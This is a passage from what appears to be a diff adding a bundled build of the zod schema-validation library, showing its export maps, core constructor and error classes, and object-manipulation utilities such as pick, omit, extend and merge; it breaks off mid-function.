ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, + ZodFunction: () => ZodFunction, + ZodGUID: () => ZodGUID, + ZodIPv4: () => ZodIPv4, + ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodIntersection: () => ZodIntersection, + ZodIssueCode: () => ZodIssueCode, + ZodJWT: () => ZodJWT, + ZodKSUID: () => ZodKSUID, + ZodLazy: () => ZodLazy, + ZodLiteral: () => ZodLiteral, + ZodMAC: () => ZodMAC, + ZodMap: () => ZodMap, + ZodNaN: () => ZodNaN, + ZodNanoID: () => ZodNanoID, + ZodNever: () => ZodNever, + ZodNonOptional: () => ZodNonOptional, + ZodNull: () => ZodNull, + ZodNullable: () => ZodNullable, + ZodNumber: () => ZodNumber, + ZodNumberFormat: () => ZodNumberFormat, + ZodObject: () => ZodObject, + ZodOptional: () => ZodOptional, + ZodPipe: () => ZodPipe, + ZodPrefault: () => ZodPrefault, + ZodPreprocess: () => ZodPreprocess, + ZodPromise: () => ZodPromise, + ZodReadonly: () => ZodReadonly, + ZodRealError: () => ZodRealError, + ZodRecord: () => ZodRecord, + ZodSet: () => ZodSet, + ZodString: () => ZodString, + ZodStringFormat: () => ZodStringFormat, + ZodSuccess: () => ZodSuccess, + ZodSymbol: () => ZodSymbol, + ZodTemplateLiteral: () => ZodTemplateLiteral, + ZodTransform: () => ZodTransform, + ZodTuple: () => ZodTuple, + ZodType: () => ZodType, + ZodULID: () => ZodULID, + ZodURL: () => ZodURL, + ZodUUID: () => ZodUUID, + ZodUndefined: () => ZodUndefined, + ZodUnion: () => ZodUnion, + ZodUnknown: () => ZodUnknown, + ZodVoid: () => ZodVoid, + ZodXID: () => ZodXID, + ZodXor: () => ZodXor, + _ZodString: () => _ZodString, + _default: () => _default2, + _function: () => _function, + any: () => any, + array: () => array, + base64: () => base642, + base64url: () => base64url2, + bigint: () => bigint2, + boolean: () => boolean2, + catch: () => _catch2, + check: () => check, + cidrv4: () => cidrv42, + cidrv6: () => cidrv62, + clone: () => clone, + codec: () => codec, + coerce: () => coerce_exports, + config: () => config, + core: () => core_exports2, + cuid: () => cuid3, + cuid2: () => cuid22, + custom: () => custom, + date: () => date3, + decode: () => decode3, + decodeAsync: () => decodeAsync2, + describe: () => describe2, + discriminatedUnion: () => discriminatedUnion, + e164: () => e1642, + email: () => email2, + emoji: () => emoji2, + encode: () => encode3, + encodeAsync: () => encodeAsync2, + endsWith: () => _endsWith, + enum: () => _enum2, + exactOptional: () => exactOptional, + file: () => file, + flattenError: () => flattenError, + float32: () => float32, + float64: () => float64, + formatError: () => formatError, + fromJSONSchema: () => fromJSONSchema, + function: () => _function, + getErrorMap: () => getErrorMap, + globalRegistry: () => globalRegistry, + gt: () => _gt, + gte: () => _gte, + guid: () => guid2, + hash: () => hash, + hex: () => hex2, + hostname: () => hostname2, + httpUrl: () => httpUrl, + includes: () => _includes, + instanceof: () => _instanceof, + int: () => int, + int32: () => int32, + int64: () => int64, + intersection: () => intersection, + invertCodec: () => invertCodec, + ipv4: () => ipv42, + ipv6: () => ipv62, + iso: () => iso_exports, + json: () => json, + jwt: () => jwt, + keyof: () => keyof, + ksuid: () => ksuid2, + lazy: () => lazy, + length: () => _length, + literal: () => literal, + locales: () => locales_exports, + looseObject: () => looseObject, + looseRecord: () => looseRecord, + lowercase: () => _lowercase, + lt: () => _lt, + lte: () => _lte, + mac: () => mac2, + map: () => map, + maxLength: () => _maxLength, + maxSize: () => _maxSize, + meta: () => meta2, + mime: () => _mime, + minLength: () => _minLength, + minSize: () => _minSize, + multipleOf: () => _multipleOf, + nan: () => nan, + nanoid: () => nanoid2, + nativeEnum: () => nativeEnum, + negative: () => _negative, + never: () => never, + nonnegative: () => _nonnegative, + nonoptional: () => nonoptional, + nonpositive: () => _nonpositive, + normalize: () => _normalize, + null: () => _null3, + nullable: () => nullable, + nullish: () => nullish2, + number: () => number2, + object: () => object, + optional: () => optional, + overwrite: () => _overwrite, + parse: () => parse2, + parseAsync: () => parseAsync2, + partialRecord: () => partialRecord, + pipe: () => pipe, + positive: () => _positive, + prefault: () => prefault, + preprocess: () => preprocess, + prettifyError: () => prettifyError, + promise: () => promise, + property: () => _property, + readonly: () => readonly, + record: () => record, + refine: () => refine, + regex: () => _regex, + regexes: () => regexes_exports, + registry: () => registry, + safeDecode: () => safeDecode2, + safeDecodeAsync: () => safeDecodeAsync2, + safeEncode: () => safeEncode2, + safeEncodeAsync: () => safeEncodeAsync2, + safeParse: () => safeParse2, + safeParseAsync: () => safeParseAsync2, + set: () => set, + setErrorMap: () => setErrorMap, + size: () => _size, + slugify: () => _slugify, + startsWith: () => _startsWith, + strictObject: () => strictObject, + string: () => string2, + stringFormat: () => stringFormat, + stringbool: () => stringbool, + success: () => success, + superRefine: () => superRefine, + symbol: () => symbol, + templateLiteral: () => templateLiteral, + toJSONSchema: () => toJSONSchema, + toLowerCase: () => _toLowerCase, + toUpperCase: () => _toUpperCase, + transform: () => transform, + treeifyError: () => treeifyError, + trim: () => _trim, + tuple: () => tuple, + uint32: () => uint32, + uint64: () => uint64, + ulid: () => ulid2, + undefined: () => _undefined3, + union: () => union, + unknown: () => unknown, + uppercase: () => _uppercase, + url: () => url, + util: () => util_exports, + uuid: () => uuid2, + uuidv4: () => uuidv4, + uuidv6: () => uuidv6, + uuidv7: () => uuidv7, + void: () => _void2, + xid: () => xid2, + xor: () => xor +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +var core_exports2 = {}; +__export(core_exports2, { + $ZodAny: () => $ZodAny, + $ZodArray: () => $ZodArray, + $ZodAsyncError: () => $ZodAsyncError, + $ZodBase64: () => $ZodBase64, + $ZodBase64URL: () => $ZodBase64URL, + $ZodBigInt: () => $ZodBigInt, + $ZodBigIntFormat: () => $ZodBigIntFormat, + $ZodBoolean: () => $ZodBoolean, + $ZodCIDRv4: () => $ZodCIDRv4, + $ZodCIDRv6: () => $ZodCIDRv6, + $ZodCUID: () => $ZodCUID, + $ZodCUID2: () => $ZodCUID2, + $ZodCatch: () => $ZodCatch, + $ZodCheck: () => $ZodCheck, + $ZodCheckBigIntFormat: () => $ZodCheckBigIntFormat, + $ZodCheckEndsWith: () => $ZodCheckEndsWith, + $ZodCheckGreaterThan: () => $ZodCheckGreaterThan, + $ZodCheckIncludes: () => $ZodCheckIncludes, + $ZodCheckLengthEquals: () => $ZodCheckLengthEquals, + $ZodCheckLessThan: () => $ZodCheckLessThan, + $ZodCheckLowerCase: () => $ZodCheckLowerCase, + $ZodCheckMaxLength: () => $ZodCheckMaxLength, + $ZodCheckMaxSize: () => $ZodCheckMaxSize, + $ZodCheckMimeType: () => $ZodCheckMimeType, + $ZodCheckMinLength: () => $ZodCheckMinLength, + $ZodCheckMinSize: () => $ZodCheckMinSize, + $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, + $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, + $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperty: () => $ZodCheckProperty, + $ZodCheckRegex: () => $ZodCheckRegex, + $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, + $ZodCheckStartsWith: () => $ZodCheckStartsWith, + $ZodCheckStringFormat: () => $ZodCheckStringFormat, + $ZodCheckUpperCase: () => $ZodCheckUpperCase, + $ZodCodec: () => $ZodCodec, + $ZodCustom: () => $ZodCustom, + $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodDate: () => $ZodDate, + $ZodDefault: () => $ZodDefault, + $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, + $ZodE164: () => $ZodE164, + $ZodEmail: () => $ZodEmail, + $ZodEmoji: () => $ZodEmoji, + $ZodEncodeError: () => $ZodEncodeError, + $ZodEnum: () => $ZodEnum, + $ZodError: () => $ZodError, + $ZodExactOptional: () => $ZodExactOptional, + $ZodFile: () => $ZodFile, + $ZodFunction: () => $ZodFunction, + $ZodGUID: () => $ZodGUID, + $ZodIPv4: () => $ZodIPv4, + $ZodIPv6: () => $ZodIPv6, + $ZodISODate: () => $ZodISODate, + $ZodISODateTime: () => $ZodISODateTime, + $ZodISODuration: () => $ZodISODuration, + $ZodISOTime: () => $ZodISOTime, + $ZodIntersection: () => $ZodIntersection, + $ZodJWT: () => $ZodJWT, + $ZodKSUID: () => $ZodKSUID, + $ZodLazy: () => $ZodLazy, + $ZodLiteral: () => $ZodLiteral, + $ZodMAC: () => $ZodMAC, + $ZodMap: () => $ZodMap, + $ZodNaN: () => $ZodNaN, + $ZodNanoID: () => $ZodNanoID, + $ZodNever: () => $ZodNever, + $ZodNonOptional: () => $ZodNonOptional, + $ZodNull: () => $ZodNull, + $ZodNullable: () => $ZodNullable, + $ZodNumber: () => $ZodNumber, + $ZodNumberFormat: () => $ZodNumberFormat, + $ZodObject: () => $ZodObject, + $ZodObjectJIT: () => $ZodObjectJIT, + $ZodOptional: () => $ZodOptional, + $ZodPipe: () => $ZodPipe, + $ZodPrefault: () => $ZodPrefault, + $ZodPreprocess: () => $ZodPreprocess, + $ZodPromise: () => $ZodPromise, + $ZodReadonly: () => $ZodReadonly, + $ZodRealError: () => $ZodRealError, + $ZodRecord: () => $ZodRecord, + $ZodRegistry: () => $ZodRegistry, + $ZodSet: () => $ZodSet, + $ZodString: () => $ZodString, + $ZodStringFormat: () => $ZodStringFormat, + $ZodSuccess: () => $ZodSuccess, + $ZodSymbol: () => $ZodSymbol, + $ZodTemplateLiteral: () => $ZodTemplateLiteral, + $ZodTransform: () => $ZodTransform, + $ZodTuple: () => $ZodTuple, + $ZodType: () => $ZodType, + $ZodULID: () => $ZodULID, + $ZodURL: () => $ZodURL, + $ZodUUID: () => $ZodUUID, + $ZodUndefined: () => $ZodUndefined, + $ZodUnion: () => $ZodUnion, + $ZodUnknown: () => $ZodUnknown, + $ZodVoid: () => $ZodVoid, + $ZodXID: () => $ZodXID, + $ZodXor: () => $ZodXor, + $brand: () => $brand, + $constructor: () => $constructor, + $input: () => $input, + $output: () => $output, + Doc: () => Doc, + JSONSchema: () => json_schema_exports, + JSONSchemaGenerator: () => JSONSchemaGenerator, + NEVER: () => NEVER, + TimePrecision: () => TimePrecision, + _any: () => _any, + _array: () => _array, + _base64: () => _base64, + _base64url: () => _base64url, + _bigint: () => _bigint, + _boolean: () => _boolean, + _catch: () => _catch, + _check: () => _check, + _cidrv4: () => _cidrv4, + _cidrv6: () => _cidrv6, + _coercedBigint: () => _coercedBigint, + _coercedBoolean: () => _coercedBoolean, + _coercedDate: () => _coercedDate, + _coercedNumber: () => _coercedNumber, + _coercedString: () => _coercedString, + _cuid: () => _cuid, + _cuid2: () => _cuid2, + _custom: () => _custom, + _date: () => _date, + _decode: () => _decode, + _decodeAsync: () => _decodeAsync, + _default: () => _default, + _discriminatedUnion: () => _discriminatedUnion, + _e164: () => _e164, + _email: () => _email, + _emoji: () => _emoji2, + _encode: () => _encode, + _encodeAsync: () => _encodeAsync, + _endsWith: () => _endsWith, + _enum: () => _enum, + _file: () => _file, + _float32: () => _float32, + _float64: () => _float64, + _gt: () => _gt, + _gte: () => _gte, + _guid: () => _guid, + _includes: () => _includes, + _int: () => _int, + _int32: () => _int32, + _int64: () => _int64, + _intersection: () => _intersection, + _ipv4: () => _ipv4, + _ipv6: () => _ipv6, + _isoDate: () => _isoDate, + _isoDateTime: () => _isoDateTime, + _isoDuration: () => _isoDuration, + _isoTime: () => _isoTime, + _jwt: () => _jwt, + _ksuid: () => _ksuid, + _lazy: () => _lazy, + _length: () => _length, + _literal: () => _literal, + _lowercase: () => _lowercase, + _lt: () => _lt, + _lte: () => _lte, + _mac: () => _mac, + _map: () => _map, + _max: () => _lte, + _maxLength: () => _maxLength, + _maxSize: () => _maxSize, + _mime: () => _mime, + _min: () => _gte, + _minLength: () => _minLength, + _minSize: () => _minSize, + _multipleOf: () => _multipleOf, + _nan: () => _nan, + _nanoid: () => _nanoid, + _nativeEnum: () => _nativeEnum, + _negative: () => _negative, + _never: () => _never, + _nonnegative: () => _nonnegative, + _nonoptional: () => _nonoptional, + _nonpositive: () => _nonpositive, + _normalize: () => _normalize, + _null: () => _null2, + _nullable: () => _nullable, + _number: () => _number, + _optional: () => _optional, + _overwrite: () => _overwrite, + _parse: () => _parse, + _parseAsync: () => _parseAsync, + _pipe: () => _pipe, + _positive: () => _positive, + _promise: () => _promise, + _property: () => _property, + _readonly: () => _readonly, + _record: () => _record, + _refine: () => _refine, + _regex: () => _regex, + _safeDecode: () => _safeDecode, + _safeDecodeAsync: () => _safeDecodeAsync, + _safeEncode: () => _safeEncode, + _safeEncodeAsync: () => _safeEncodeAsync, + _safeParse: () => _safeParse, + _safeParseAsync: () => _safeParseAsync, + _set: () => _set, + _size: () => _size, + _slugify: () => _slugify, + _startsWith: () => _startsWith, + _string: () => _string, + _stringFormat: () => _stringFormat, + _stringbool: () => _stringbool, + _success: () => _success, + _superRefine: () => _superRefine, + _symbol: () => _symbol, + _templateLiteral: () => _templateLiteral, + _toLowerCase: () => _toLowerCase, + _toUpperCase: () => _toUpperCase, + _transform: () => _transform, + _trim: () => _trim, + _tuple: () => _tuple, + _uint32: () => _uint32, + _uint64: () => _uint64, + _ulid: () => _ulid, + _undefined: () => _undefined2, + _union: () => _union, + _unknown: () => _unknown, + _uppercase: () => _uppercase, + _url: () => _url, + _uuid: () => _uuid, + _uuidv4: () => _uuidv4, + _uuidv6: () => _uuidv6, + _uuidv7: () => _uuidv7, + _void: () => _void, + _xid: () => _xid, + _xor: () => _xor, + clone: () => clone, + config: () => config, + createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, + createToJSONSchemaMethod: () => createToJSONSchemaMethod, + decode: () => decode2, + decodeAsync: () => decodeAsync, + describe: () => describe, + encode: () => encode2, + encodeAsync: () => encodeAsync, + extractDefs: () => extractDefs, + finalize: () => finalize, + flattenError: () => flattenError, + formatError: () => formatError, + globalConfig: () => globalConfig, + globalRegistry: () => globalRegistry, + initializeContext: () => initializeContext, + isValidBase64: () => isValidBase64, + isValidBase64URL: () => isValidBase64URL, + isValidJWT: () => isValidJWT, + locales: () => locales_exports, + meta: () => meta, + parse: () => parse, + parseAsync: () => parseAsync, + prettifyError: () => prettifyError, + process: () => process2, + regexes: () => regexes_exports, + registry: () => registry, + safeDecode: () => safeDecode, + safeDecodeAsync: () => safeDecodeAsync, + safeEncode: () => safeEncode, + safeEncodeAsync: () => safeEncodeAsync, + safeParse: () => safeParse, + safeParseAsync: () => safeParseAsync, + toDotPath: () => toDotPath, + toJSONSchema: () => toJSONSchema, + treeifyError: () => treeifyError, + util: () => util_exports, + version: () => version +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, params) { + function init(inst, def) { + if (!inst._zod) { + Object.defineProperty(inst, "_zod", { + value: { + def, + constr: _, + traits: /* @__PURE__ */ new Set() + }, + enumerable: false + }); + } + if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + const proto = _.prototype; + const keys = Object.keys(proto); + for (let i = 0; i < keys.length; i++) { + const k = keys[i]; + if (!(k in inst)) { + inst[k] = proto[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + var _a3; + const inst = params?.Parent ? new Definition() : this; + init(inst, def); + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + for (const fn of inst._zod.deferred) { + fn(); + } + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +var util_exports = {}; +__export(util_exports, { + BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + Class: () => Class, + NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, + aborted: () => aborted, + allowsEval: () => allowsEval, + assert: () => assert, + assertEqual: () => assertEqual, + assertIs: () => assertIs, + assertNever: () => assertNever, + assertNotEqual: () => assertNotEqual, + assignProp: () => assignProp, + base64ToUint8Array: () => base64ToUint8Array, + base64urlToUint8Array: () => base64urlToUint8Array, + cached: () => cached, + captureStackTrace: () => captureStackTrace, + cleanEnum: () => cleanEnum, + cleanRegex: () => cleanRegex, + clone: () => clone, + cloneDef: () => cloneDef, + createTransparentProxy: () => createTransparentProxy, + defineLazy: () => defineLazy, + esc: () => esc, + escapeRegex: () => escapeRegex, + explicitlyAborted: () => explicitlyAborted, + extend: () => extend, + finalizeIssue: () => finalizeIssue, + floatSafeRemainder: () => floatSafeRemainder, + getElementAtPath: () => getElementAtPath, + getEnumValues: () => getEnumValues, + getLengthableOrigin: () => getLengthableOrigin, + getParsedType: () => getParsedType, + getSizableOrigin: () => getSizableOrigin, + hexToUint8Array: () => hexToUint8Array, + isObject: () => isObject2, + isPlainObject: () => isPlainObject, + issue: () => issue, + joinValues: () => joinValues, + jsonStringifyReplacer: () => jsonStringifyReplacer, + merge: () => merge, + mergeDefs: () => mergeDefs, + normalizeParams: () => normalizeParams, + nullish: () => nullish, + numKeys: () => numKeys, + objectClone: () => objectClone, + omit: () => omit, + optionalKeys: () => optionalKeys, + parsedType: () => parsedType, + partial: () => partial, + pick: () => pick, + prefixIssues: () => prefixIssues, + primitiveTypes: () => primitiveTypes, + promiseAllObject: () => promiseAllObject, + propertyKeyTypes: () => propertyKeyTypes, + randomString: () => randomString, + required: () => required, + safeExtend: () => safeExtend, + shallowClone: () => shallowClone, + slugify: () => slugify, + stringifyPrimitive: () => stringifyPrimitive, + uint8ArrayToBase64: () => uint8ArrayToBase64, + uint8ArrayToBase64url: () => uint8ArrayToBase64url, + uint8ArrayToHex: () => uint8ArrayToHex, + unwrapMessage: () => unwrapMessage +}); +function assertEqual(val) { + return val; +} +function assertNotEqual(val) { + return val; +} +function assertIs(_arg) { +} +function assertNever(_x) { + throw new Error("Unexpected value in exhaustive check"); +} +function assert(_) { +} +function getEnumValues(entries) { + const numericValues = Object.values(entries).filter((v) => typeof v === "number"); + const values2 = Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v); + return values2; +} +function joinValues(array2, separator = "|") { + return array2.map((val) => stringifyPrimitive(val)).join(separator); +} +function jsonStringifyReplacer(_, value) { + if (typeof value === "bigint") + return value.toString(); + return value; +} +function cached(getter) { + const set2 = false; + return { + get value() { + if (!set2) { + const value = getter(); + Object.defineProperty(this, "value", { value }); + return value; + } + throw new Error("cached value already set"); + } + }; +} +function nullish(input) { + return input === null || input === void 0; +} +function cleanRegex(source) { + const start = source.startsWith("^") ? 1 : 0; + const end = source.endsWith("$") ? source.length - 1 : source.length; + return source.slice(start, end); +} +function floatSafeRemainder(val, step) { + const ratio = val / step; + const roundedRatio = Math.round(ratio); + const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + if (Math.abs(ratio - roundedRatio) < tolerance) + return 0; + return ratio - roundedRatio; +} +var EVALUATING = /* @__PURE__ */ Symbol("evaluating"); +function defineLazy(object2, key, getter) { + let value = void 0; + Object.defineProperty(object2, key, { + get() { + if (value === EVALUATING) { + return void 0; + } + if (value === void 0) { + value = EVALUATING; + value = getter(); + } + return value; + }, + set(v) { + Object.defineProperty(object2, key, { + value: v + // configurable: true, + }); + }, + configurable: true + }); +} +function objectClone(obj) { + return Object.create(Object.getPrototypeOf(obj), Object.getOwnPropertyDescriptors(obj)); +} +function assignProp(target, prop, value) { + Object.defineProperty(target, prop, { + value, + writable: true, + enumerable: true, + configurable: true + }); +} +function mergeDefs(...defs) { + const mergedDescriptors = {}; + for (const def of defs) { + const descriptors = Object.getOwnPropertyDescriptors(def); + Object.assign(mergedDescriptors, descriptors); + } + return Object.defineProperties({}, mergedDescriptors); +} +function cloneDef(schema) { + return mergeDefs(schema._zod.def); +} +function getElementAtPath(obj, path) { + if (!path) + return obj; + return path.reduce((acc, key) => acc?.[key], obj); +} +function promiseAllObject(promisesObj) { + const keys = Object.keys(promisesObj); + const promises = keys.map((key) => promisesObj[key]); + return Promise.all(promises).then((results) => { + const resolvedObj = {}; + for (let i = 0; i < keys.length; i++) { + resolvedObj[keys[i]] = results[i]; + } + return resolvedObj; + }); +} +function randomString(length = 10) { + const chars = "abcdefghijklmnopqrstuvwxyz"; + let str = ""; + for (let i = 0; i < length; i++) { + str += chars[Math.floor(Math.random() * chars.length)]; + } + return str; +} +function esc(str) { + return JSON.stringify(str); +} +function slugify(input) { + return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +} +var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { +}; +function isObject2(data) { + return typeof data === "object" && data !== null && !Array.isArray(data); +} +var allowsEval = /* @__PURE__ */ cached(() => { + if (globalConfig.jitless) { + return false; + } + if (typeof navigator !== "undefined" && navigator?.userAgent?.includes("Cloudflare")) { + return false; + } + try { + const F = Function; + new F(""); + return true; + } catch (_) { + return false; + } +}); +function isPlainObject(o) { + if (isObject2(o) === false) + return false; + const ctor = o.constructor; + if (ctor === void 0) + return true; + if (typeof ctor !== "function") + return true; + const prot = ctor.prototype; + if (isObject2(prot) === false) + return false; + if (Object.prototype.hasOwnProperty.call(prot, "isPrototypeOf") === false) { + return false; + } + return true; +} +function shallowClone(o) { + if (isPlainObject(o)) + return { ...o }; + if (Array.isArray(o)) + return [...o]; + if (o instanceof Map) + return new Map(o); + if (o instanceof Set) + return new Set(o); + return o; +} +function numKeys(data) { + let keyCount = 0; + for (const key in data) { + if (Object.prototype.hasOwnProperty.call(data, key)) { + keyCount++; + } + } + return keyCount; +} +var getParsedType = (data) => { + const t = typeof data; + switch (t) { + case "undefined": + return "undefined"; + case "string": + return "string"; + case "number": + return Number.isNaN(data) ? "nan" : "number"; + case "boolean": + return "boolean"; + case "function": + return "function"; + case "bigint": + return "bigint"; + case "symbol": + return "symbol"; + case "object": + if (Array.isArray(data)) { + return "array"; + } + if (data === null) { + return "null"; + } + if (data.then && typeof data.then === "function" && data.catch && typeof data.catch === "function") { + return "promise"; + } + if (typeof Map !== "undefined" && data instanceof Map) { + return "map"; + } + if (typeof Set !== "undefined" && data instanceof Set) { + return "set"; + } + if (typeof Date !== "undefined" && data instanceof Date) { + return "date"; + } + if (typeof File !== "undefined" && data instanceof File) { + return "file"; + } + return "object"; + default: + throw new Error(`Unknown data type: ${t}`); + } +}; +var propertyKeyTypes = /* @__PURE__ */ new Set(["string", "number", "symbol"]); +var primitiveTypes = /* @__PURE__ */ new Set([ + "string", + "number", + "bigint", + "boolean", + "symbol", + "undefined" +]); +function escapeRegex(str) { + return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} +function clone(inst, def, params) { + const cl = new inst._zod.constr(def ?? inst._zod.def); + if (!def || params?.parent) + cl._zod.parent = inst; + return cl; +} +function normalizeParams(_params) { + const params = _params; + if (!params) + return {}; + if (typeof params === "string") + return { error: () => params }; + if (params?.message !== void 0) { + if (params?.error !== void 0) + throw new Error("Cannot specify both `message` and `error` params"); + params.error = params.message; + } + delete params.message; + if (typeof params.error === "string") + return { ...params, error: () => params.error }; + return params; +} +function createTransparentProxy(getter) { + let target; + return new Proxy({}, { + get(_, prop, receiver) { + target ?? (target = getter()); + return Reflect.get(target, prop, receiver); + }, + set(_, prop, value, receiver) { + target ?? (target = getter()); + return Reflect.set(target, prop, value, receiver); + }, + has(_, prop) { + target ?? (target = getter()); + return Reflect.has(target, prop); + }, + deleteProperty(_, prop) { + target ?? (target = getter()); + return Reflect.deleteProperty(target, prop); + }, + ownKeys(_) { + target ?? (target = getter()); + return Reflect.ownKeys(target); + }, + getOwnPropertyDescriptor(_, prop) { + target ?? (target = getter()); + return Reflect.getOwnPropertyDescriptor(target, prop); + }, + defineProperty(_, prop, descriptor) { + target ?? (target = getter()); + return Reflect.defineProperty(target, prop, descriptor); + } + }); +} +function stringifyPrimitive(value) { + if (typeof value === "bigint") + return value.toString() + "n"; + if (typeof value === "string") + return `"${value}"`; + return `${value}`; +} +function optionalKeys(shape) { + return Object.keys(shape).filter((k) => { + return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + }); +} +var NUMBER_FORMAT_RANGES = { + safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], + int32: [-2147483648, 2147483647], + uint32: [0, 4294967295], + float32: [-34028234663852886e22, 34028234663852886e22], + float64: [-Number.MAX_VALUE, Number.MAX_VALUE] +}; +var BIGINT_FORMAT_RANGES = { + int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], + uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] +}; +function pick(schema, mask) { + const currDef = schema._zod.def; + const checks = currDef.checks; + const hasChecks = checks && checks.length > 0; + if (hasChecks) { + throw new Error(".pick() cannot be used on object schemas containing refinements"); + } + const def = mergeDefs(schema._zod.def, { + get shape() { + const newShape = {}; + for (const key in mask) { + if (!(key in currDef.shape)) { + throw new Error(`Unrecognized key: "${key}"`); + } + if (!mask[key]) + continue; + newShape[key] = currDef.shape[key]; + } + assignProp(this, "shape", newShape); + return newShape; + }, + checks: [] + }); + return clone(schema, def); +} +function omit(schema, mask) { + const currDef = schema._zod.def; + const checks = currDef.checks; + const hasChecks = checks && checks.length > 0; + if (hasChecks) { + throw new Error(".omit() cannot be used on object schemas containing refinements"); + } + const def = mergeDefs(schema._zod.def, { + get shape() { + const newShape = { ...schema._zod.def.shape }; + for (const key in mask) { + if (!(key in currDef.shape)) { + throw new Error(`Unrecognized key: "${key}"`); + } + if (!mask[key]) + continue; + delete newShape[key]; + } + assignProp(this, "shape", newShape); + return newShape; + }, + checks: [] + }); + return clone(schema, def); +} +function extend(schema, shape) { + if (!isPlainObject(shape)) { + throw new Error("Invalid input to extend: expected a plain object"); + } + const checks = schema._zod.def.checks; + const hasChecks = checks && checks.length > 0; + if (hasChecks) { + const existingShape = schema._zod.def.shape; + for (const key in shape) { + if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { + throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); + } + } + } + const def = mergeDefs(schema._zod.def, { + get shape() { + const _shape = { ...schema._zod.def.shape, ...shape }; + assignProp(this, "shape", _shape); + return _shape; + } + }); + return clone(schema, def); +} +function safeExtend(schema, shape) { + if (!isPlainObject(shape)) { + throw new Error("Invalid input to safeExtend: expected a plain object"); + } + const def = mergeDefs(schema._zod.def, { + get shape() { + const _shape = { ...schema._zod.def.shape, ...shape }; + assignProp(this, "shape", _shape); + return _shape; + } + }); + return clone(schema, def); +} +function merge(a, b2) { + if (a._zod.def.checks?.length) { + throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); + } + const def = mergeDefs(a._zod.def, { + get shape() { + const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; + assignProp(this, "shape", _shape); + return _shape; + }, + get catchall() { + return b2._zod.def.catchall; + }, + checks: b2._zod.def.checks ?? [] + }); + return clone(a, def); +} +function partial(Class2, schema, mask) { + const currDef = schema._zod.def; + const checks = currDef.checks; + const hasChecks = checks && checks.length > 0; + if (hasChecks) { + throw new Error(".partial() cannot be used on object schemas containing refinements"); + } + const def = mergeDefs(schema._zod.def, { + get shape() { + const oldShape = schema._zod.def.shape; + const shape = { ...oldShape }; + if (mask) { + for (const key in mask) { + if (!(key in oldShape)) { + throw new Error(`Unrecognized key: "${key}"`); + } + if (!mask[key]) + continue; + shape[key] = Class2 ? new Class2({ + type: "optional", + innerType: oldShape[key] + }) : oldShape[key]; + } + } else { + for (const key in oldShape) { + shape[key] = Class2 ? new Class2({ + type: "optional", + innerType: oldShape[key] + }) : oldShape[key]; + } + } + assignProp(this, "shape", shape); + return shape; + }, + checks: [] + }); + return clone(schema, def); +} +function required(Class2, schema, mask) { + const def = mergeDefs(schema._zod.def, { + get shape() { + const oldShape = schema._zod.def.shape; + const shape = { ...oldShape }; + if (mask) { + for (const key in mask) { + if (!(key in shape)) { + throw new Error(`Unrecognized key: "${key}"`); + } + if (!mask[key]) + continue; + shape[key] = new Class2({ + type: "nonoptional", + innerType: oldShape[key] + }); + } + } else { + for (const key in oldShape) { + shape[key] = new Class2({ + type: "nonoptional", + innerType: oldShape[key] + }); + } + } + assignProp(this, "shape", shape); + return shape; + } + }); + return clone(schema, def); +} +function aborted(x, startIndex = 0) { + if (x.aborted === true) + return true; + for (let i = startIndex; i < x.issues.length; i++) { + if (x.issues[i]?.continue !== true) { + return true; + } + } + return false; +} +function explicitlyAborted(x, startIndex = 0) { + if (x.aborted === true) + return true; + for (let i = startIndex; i < x.issues.length; i++) { + if 